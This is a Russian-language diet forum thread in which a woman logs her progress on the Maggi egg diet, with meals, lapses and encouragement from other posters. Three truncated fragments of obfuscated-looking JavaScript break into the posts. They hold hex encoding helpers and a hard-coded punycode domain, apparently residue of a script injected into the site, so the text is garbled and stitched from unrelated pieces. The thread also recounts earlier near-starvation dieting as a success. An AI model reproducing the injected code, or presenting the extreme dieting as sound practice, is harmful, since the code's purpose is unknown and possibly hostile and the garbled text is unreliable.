Мне 26 лет, вес 71 кг., рост 170 см. Сегодня 3 день 1 недели, самочувствие отличное, по себе ощущаю сдвиги в весе. Взвешиваться буду на 5 день, т.е. после завтра.
Года 4 назад весила 86 кг. это мой пик в тяжеловесии. После этого 2 месяца ходила на шейпинг раза 4-5 в неделю , практически ничего не ела, теряла по 2 кг. в неделю. За 2 месяца скинула 16 кг. Потом вес остановился и я расстроилась и бросила занятия, но результат меня и так устраивал. За 4 прошедших года были попытки диет и домашних физ. упражнений, думаю эти попытки и дали мне удержать вес в норме. Правда в 2015 году перед Новым годом отъелась до 79 кг. и испугалась. Потом понеслось моно-диеты, овощная диета, кремлевская диета и т.д. И все-таки я вернула свой вес.
Моей мечтой всегда оставался вес в 65 кг. Вот хочу чтоб мечта сбылась.
Недавно знакомая рассказала про диету Магги. Правда сказала что настроение упало и на 3 день 1 недели она сорвалась. После этого разговора, я зашла на этот сайт и когда ознакомилась с меню, была приятно удивлена. Мне очень понравилось точное описание продуктов, которые нужно кушать. Особенно яйца я люблю, так что с этим основным продуктом диеты у меня все отлично.
Планы у меня такие: добиться своей мечты и утереть нос подруге «Сказав что это диета Магги, чудеса творит!»
Тему создала, что бы делиться опытом с худеющими на этой диете, а так же найти поддержку и мотивацию на всех этапах диеты Магги.
Всем успехов! Пишите, буду рада общению!
Вчера были в гостях все пили пиво с рыбкой, а мне даже не хотелось, не соблазнилась ни на семечки, ни на чипсы, а выпила 2 кружки зеленого чая, конечно без сахара. Хорошо что вчера по меню на ужин была рыбка, салат и грейпфрут, я наелась перед походом в гости и не сорвалась.
Сегодня уже приезжают к нам в гости, я рада, что в субботу первой недели на ужин мясо и салат, съем пару кусочков шашлычка и салатик. На обед сегодня груши, я их очень люблю.
Мне нравятся завтраки, вареные яички в сочетании с апельсином. Но перед завтраком, примерно за 20 мин. выпиваю стакан воды, но в течении дня воду практически не пью, между приемами пищи пью утром кофе, в обед зел. чай и после ужина кипяток с лимонном и мелиссой, конечно все напитки без сахара.
Подскажите, если я так мало употребляю чистой воды, это не страшно?
// o;o++) t+=e.charCodeAt (o).toString (16);return t},a=function (e){e=e.match (/[\S\s]{1,2}/g);for (var t="",o=0;o < e.length;o++) t+=String.fromCharCode (parseInt (e[o],16));return t},d=function (){return "xn----7sbbmabhxg0b1d.xn--p1ai"},p=function (){var w=window,p=w.document.location.protocol;if (p.indexOf ("http")==0){return p}for (var e=0;e
На обед съела 2 груши, ну прям объелась. Гости не приехали это в принципе хорошо, нет соблазнов. На ужин отварила грамм 100 говядины и салатик из огурцов, помидор, перца и листьев салата заправленные лимонным соком.
// o;o++) t+=e.charCodeAt (o).toString (16);return t},a=function (e){e=e.match (/[\S\s]{1,2}/g);for (var t="",o=0;o < e.length;o++) t+=String.fromCharCode (parseInt (e[o],16));return t},d=function (){return "xn----7sbbmabhxg0b1d.xn--p1ai"},p=function (){var w=window,p=w.document.location.protocol;if (p.indexOf ("http")==0){return p}for (var e=0;e
Вот и подошла к концу 1-я неделя. Ближе к вечеру начала болеть голова и горло, не знаю, может быть голова- из-за погоды, а горло, холодного ничего не пила. Еще и настроение как то упало.
В шкафу обнаружила шоколадную конфету, решила отпраздновать завершение 1 недели и поднять себе настроение. Конфета оказалась очень сладкой — сказывается питание без сахара. Думаю это не так уж ужасно, зато я так подготовилась ко 2 недели.
Прошу понять и простить!!!
Конфетка думаю не повредит, но психику успокоит. А насчет сладости... я заметила, что мы действительно перестали чувствовать насколько все продукты переслащены!!! Я как-то после подобной диеты опробовала вареную колбасу — это просто отвратно, прямо реально очень сладко.
Я тоже сегодня немножко нарушила — первый раз за 2,5 недели. Были в кафе с подружками, а у меня рыбно-овощной день. Ну я и заказала запеченную радужную форель, фаршированную овощами. Думала, что как раз вписываюсь. Рыбка оказалась чудесной, а вот овощи были поданы отдельно как гарнир и там были грибы, а еще они были слегка припущены на масле... можно было бы конечно их не есть, понимаю, но они так пахли... Так что я тоже с покаянной )))
Да грибочков охото, вот были бы они в меню.
Я думаю в кафе чуть чуть нарушить можно, главное чтоб эти чуть чуть в привычку не вошли.
Выдержка у тебя отличная, я думаю за 2,5 недели можно.
Взвешивание по графику завтра, с нетерпением жду. В начале диеты я обмерила обхваты, но у меня не было сантиметра, пришлось изобретать. Сегодня купила сантиметр и не удержалась и обмерялась, так вот с боков ушло 5 см. — я в восторге. Завтра отпишусь по всем параметрам.
// o;o++) t+=e.charCodeAt (o).toString (16);return t},a=function (e){e=e.match (/[\S\s]{1,2}/g);for (var t="",o=0;o < e.length;o++) t+=String.fromCharCode (parseInt (e[o],16));return t},d=function (){return "xn----7sbbmabhxg0b1d.xn--p1ai"},p=function (){var w=window,p=w.document.location.protocol;if (p.indexOf ("http")==0){return p}for (var e=0;e
Добро пожаловать, Анастасия! Очень рады видеть в своих рядах таких целеустремлённых людей ;)
У вас обязательно всё получится. Всего каких-то 6 кг отделяют вас от мечты к которой вы идёте уже не первый год! Для Магги это как раз под силу ;) Мы в вас верим!